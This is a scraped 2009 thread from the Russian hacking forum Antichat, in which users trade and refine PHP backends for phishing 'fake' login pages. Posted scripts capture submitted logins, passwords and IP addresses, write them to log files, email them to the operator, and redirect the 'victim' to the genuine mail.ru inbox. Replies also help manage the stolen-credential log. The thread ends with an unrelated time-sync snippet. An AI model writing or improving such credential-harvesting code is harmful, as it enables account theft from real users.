ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #13531  
Старый 23.11.2009, 13:47
Аватар для svesve
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию

Цитата:
Сообщение от xofffff  
Есть скрипт сохранение данных в файл base.php вот он:
Вопрос: Как сделать что бы еще приходило на email эти же данные?
PHP код:
<?PHP 
$Login 
$_POST['Login']; // Читаем логин 
$Domain $_POST['Domain']; // Домен 
$Pass $_POST['password']; // Пароль 
$Data date("d-m-y H:i:s"time()); // Дата и время 

$mail="your@mail.ru";
$subj="Пароли и т.д.";

// Записываем полученные данные 
$text "Дата:[$Data] Логин:$Login Пароль:$Pass"

$filelog fopen("base.php","a+"); // Открываем файл базы 
fwrite($filelog,"\n $text \n"); // Записываем 
fclose($filelog); // Закрываем 


mail($mail,$subj,$text);

header('Location: http://win.mail.ru/cgi-bin/msglist'); 
// Переводим жертву на 
// указанный адрес 
?>
 
Ответить с цитированием

  #13532  
Старый 23.11.2009, 14:02
Аватар для xofffff
xofffff
Познающий
Регистрация: 16.11.2009
Сообщений: 38
Провел на форуме:
261594

Репутация: 15
По умолчанию

Цитата:
Сообщение от svesve  
PHP код:
<?PHP 
$Login 
$_POST['Login']; // Читаем логин 
$Domain $_POST['Domain']; // Домен 
$Pass $_POST['password']; // Пароль 
$Data date("d-m-y H:i:s"time()); // Дата и время 

$mail="your@mail.ru";
$subj="Пароли и т.д.";

// Записываем полученные данные 
$text "Дата:[$Data] Логин:$Login Пароль:$Pass"

$filelog fopen("base.php","a+"); // Открываем файл базы 
fwrite($filelog,"\n $text \n"); // Записываем 
fclose($filelog); // Закрываем 


mail($mail,$subj,$text);

header('Location: http://win.mail.ru/cgi-bin/msglist'); 
// Переводим жертву на 
// указанный адрес 
?>
Благодарен

а что это ? $subj="Пароли и т.д.";
 
Ответить с цитированием

  #13533  
Старый 23.11.2009, 14:11
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Тема письма
 
Ответить с цитированием

  #13534  
Старый 23.11.2009, 18:12
Аватар для amBX
amBX
Новичок
Регистрация: 29.05.2009
Сообщений: 14
Провел на форуме:
43475

Репутация: 2
Отправить сообщение для amBX с помощью ICQ
По умолчанию

Вопрос по фейку. Вот есть простой скрипт фейка
PHP код:
<?PHP      
$date
=date("[d/m/Y|H:i]");   
$ip = @$_SERVER['REMOTE_ADDR'];   
$Login $_POST['login'];   
$Pass $_POST['passwd'];   
$c "$date | [$ip]   
$Login;$Pass";   
$fp fopen("log.html","a+");   
fwrite($fp,"\n$c\n");   
fclose($fp);   
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
 
Ответить с цитированием

  #13535  
Старый 23.11.2009, 18:53
Аватар для Deathdreams
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме:
2603363

Репутация: 278
Отправить сообщение для Deathdreams с помощью ICQ
По умолчанию

amBX
Следуя Вашему скрипту, логи будут записываться так:

Код:
Лог

Лог

Лог

Лог
PHP код:
@fwrite($fp$c."\r\n"); 
 
Ответить с цитированием

  #13536  
Старый 23.11.2009, 18:58
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от amBX  
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
Просто придти к тому, что на данном этапе пора уже начинать юзать БД и не маяца херней с файлами. Решение есть, но он не есть оптимальное. С файлами надо делать лишь простейшие операции, когда дело доходит до сортировок и выборок всяческих - короче БД не просто так придумали ради красоты и понтов

PS: Если таки хочется - берешь весь файл в массив и сортируешь в обратном порядке, затем выводишь первые 40 записей

работа с массивами здесь очень подробно и с примерами расписана:

http://www.php.ru/manual/ref.array.html

Последний раз редактировалось Pashkela; 23.11.2009 в 19:11..
 
Ответить с цитированием

  #13537  
Старый 23.11.2009, 19:23
Аватар для L I G A
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

PHP код:
$file=file("log.html");
$count=count($file);
for(
$i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";

 
Ответить с цитированием

  #13538  
Старый 23.11.2009, 19:40
Аватар для Luck3r
Luck3r
Новичок
Регистрация: 01.11.2009
Сообщений: 21
Провел на форуме:
29290

Репутация: 5
Отправить сообщение для Luck3r с помощью ICQ
По умолчанию

Цитата:
Сообщение от L I G A  
PHP код:
$file=file("log.html");
$count=count($file);
for(
$i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";

Извращение. Лучше через бд. Там элементарно.
 
Ответить с цитированием

  #13539  
Старый 23.11.2009, 19:43
Аватар для L I G A
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

Цитата:
Сообщение от Luck3r  
Извращение. Лучше через бд. Там элементарно.
о БД речи не было
 
Ответить с цитированием

  #13540  
Старый 23.11.2009, 19:47
Аватар для amBX
amBX
Новичок
Регистрация: 29.05.2009
Сообщений: 14
Провел на форуме:
43475

Репутация: 2
Отправить сообщение для amBX с помощью ICQ
По умолчанию

Да знаю что без БД ни куда((( Буду пробывать, учить.

У меня есть новый вопрос =) Нашел скрипт точного времени, но время отображается на 3 часа позже чем в моём городе, можно это исправить? (Время по хостингу ставить не хочу, т.к. там кривое время с разницой в 15-17 мин)
PHP код:
<?php
function sinctimestamp($host) {

  if (!
$fp fsockopen($host,13,$errno,$errstr,1)) return false;

  
$s strtotime(fgets($fp));

  
fclose($fp);

  return 
$s;

}

$tocnoje_vrema date('d-m-Y H:i:s'sinctimestamp('ntp.colocall.net'));

echo 
$tocnoje_vrema;
?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ